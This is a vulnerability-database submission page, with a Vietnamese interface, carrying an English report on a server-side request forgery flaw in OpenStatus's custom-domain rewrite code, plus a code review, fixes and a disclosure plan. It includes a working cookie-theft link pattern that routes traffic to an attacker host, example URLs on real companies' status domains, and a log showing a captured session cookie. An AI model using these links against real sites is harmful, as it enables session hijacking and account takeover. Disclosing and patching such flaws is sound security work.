Gửi #888087: openstatusHQ openstatus > 2026-04-19 Server-Side Request Forgerythông tin

tiêu đềopenstatusHQ openstatus > 2026-04-19 Server-Side Request Forgery
Mô tả=========================================================== OPENSTATUS - SSRF VIA PATH (simple explanation) =========================================================== WHAT IT IS (in one line) ------------------------ It is an SSRF via Path: you put a URL inside the status page path (e.g. /http:/site.com) and the OpenStatus server FETCHES that URL and returns the content to you. That brings a serious POSSIBILITY: because the server forwards the whole request to the destination (including the Cookie header), it is possible to STEAL the HttpOnly cookies of the parent domain from a victim. (HttpOnly does NOT help here: the browser still SENDS the cookie on the request - HttpOnly only stops JavaScript from reading it.) HOW THE ATTACK WORKS (simple, step by step) ------------------------------------------- 1. The attacker builds a link on the victim's own trusted domain (using http:): https://status.victim.com/http:/attacker.com/collect 2. The victim (logged in to victim.com) clicks the link. 3. The browser sends ALL the domain cookies to status.victim.com (including HttpOnly, including parent-domain cookies). 4. OpenStatus proxies the request to http://attacker.com and CARRIES the Cookie header with it. 5. The attacker's server logs the cookies. If one of them is the session cookie -> session hijack -> account takeover. Example: https://status.documenso.com/http:/example.com https://status.hanko.io/http:/example.com https://status.cal.com/http:/example.com https://status.openpanel.dev/http:/example.com ...or by using `https://status.openpanel.dev/http:/{SERVER}`, the parent domain's `HttpOnly` cookies are sent to my web server, hijacking system authentication and leading to account takeover: Response from my web server: " GET / HTTP/1.1 Host: ef89-2804-d59-a118-d600-c151-dfac-f085-c755.ngrok-free.app User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7,ar;q=0.6 Cookie: PHPSESSID=ua0aa8s9kklsuiaiarrvr1sddc X-Forwarded-For: 2804:d59:a118:d600:c151:dfac:f085:c755 X-Forwarded-Host: ef89-2804-d59-a118-d600-c151-dfac-f085-c755.ngrok-free.app X-Forwarded-Proto: https " WHAT IS PROVEN vs WHAT DEPENDS ------------------------------ [PROVEN] SSRF via path works (http:/example.com -> 200 with the example.com content). [PROVEN] The server forwards the Cookie to the destination (a test cookie arrived at httpbin / postman-echo). [DEPENDS] Turning it into a full account takeover depends on the session cookie being scoped to the parent domain (Domain=victim.com) so it reaches the status. subdomain - this was NOT confirmed and must be checked. Note: it only works with "http:" (one slash). With "https:" the bug does NOT trigger (the server keeps the internal domain). This matches the code exactly (explained below). =========================================================== CODE REVIEW (simple) =========================================================== WHERE IT IS ----------- File: apps/status-page/src/lib/proxy/resolve-custom-domain-rewrite.ts Used by: apps/status-page/src/proxy.ts (the middleware that runs on every request) THE PROBLEM CODE ---------------- const rest = pathnames.slice(1).join("/"); // <- comes from the USER PATH const url = new URL(rest, `https://${page.slug}.stpg.dev`); // <- BUG ... NextResponse.rewrite(url) // <- proxies the request to that url WHY THIS IS THE BUG (in simple words) ------------------------------------- - "rest" is the part of the URL the user controls (the path). - It is passed as the FIRST argument of new URL(). - Rule of new URL(): if the first argument already has a "scheme" (like "http:"), it BECOMES an absolute URL and the second argument (the fixed .stpg.dev domain) is IGNORED. new URL("http:/attacker.com", "https://x.stpg.dev") = http://attacker.com <- escapes! new URL("https:/attacker.com", "https://x.stpg.dev") = https://x.stpg.dev/... <- stays inside (that is why https does not work) - Then NextResponse.rewrite(url) is not a "clean fetch": it PROXIES the original request -> so the user's Cookie goes along to the attacker's destination. Summary: user-controlled url + a rewrite that forwards the request = SSRF + cookie leak. WHO IS AFFECTED --------------- - OpenStatus Cloud / multi-tenant with a CUSTOM DOMAIN -> affected. - Self-hosted (SELF_HOST=true) -> NOT affected (the code has "if (isSelfHosted) return null;" and stops before the bug). HOW TO FIX (simple) ------------------- 1. Never put user input as the 1st argument of new URL(). Build the base first and only set the path: const url = new URL(`https://${page.slug}.stpg.dev`); url.pathname = cleanRest; // no "scheme", no "//" 2. Reject if "rest" contains ":" or starts with "//" (400/404). 3. Before the rewrite, check: if (url.host !== `${page.slug}.stpg.dev`) -> block. 4. Strip Cookie/Authorization from any rewrite that leaves to an external host. ----------------------------------------------------------- Analyzed: commit f04c827 (branch main), apps/status-page v1.0.0. Disclosure: report first as a private GitHub Security Advisory -> patch -> then request the CVE. ----------------------------------------------------------- Github: https://github.com/openstatusHQ/openstatus Vendor: https://www.openstatus.dev/
Nguồn⚠️ https://www.openstatus.dev/
Người dùng
 erickfernandox (UID 57733)
Đệ trình13/07/2026 20:14 (cách đây 2 các tháng)
Kiểm duyệt12/09/2026 10:04 (2 months later)
Trạng tháiđược chấp nhận
Mục VulDB403074 [openstatusHQ openstatus đến f04c827112f30a11d571ebdad3892826034d6265 resolve-custom-domain-rewrite.ts nâng cao đặc quyền]
điểm17

Do you need the next level of professionalism?

Upgrade your account now!